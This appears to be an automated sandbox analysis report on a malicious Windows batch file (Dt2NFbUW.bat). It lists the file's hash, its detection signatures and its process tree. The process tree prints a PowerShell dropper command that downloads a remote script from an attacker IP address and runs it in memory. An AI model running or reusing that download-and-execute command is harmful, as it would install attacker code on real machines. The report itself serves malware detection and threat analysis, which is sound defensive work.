Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    101s
  • resource
    win10v191014
  • submitted
    01-01-2020 14:10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Dt2NFbUW.bat

  • Sample

    200101-xdjkryzdk2

  • SHA256

    0d14e2a78d12efbb31930c5dd64b18c68e4918210d071ea300fdbfb20f0d0bbc

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/Dt2NFbUW

Signatures

  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Dt2NFbUW.bat"
    1⤵
      PID:4956
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/Dt2NFbUW');Invoke-PWFFOLCSFSEDZFH;Start-Sleep -s 10000"
        2⤵
          PID:5004
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 704
            3⤵
            • Program crash
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious behavior: EnumeratesProcesses
            PID:5068

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/5068-0-0x0000000004C70000-0x0000000004C71000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5068-8-0x0000000005490000-0x0000000005491000-memory.dmp

        Filesize

        4KB

        Download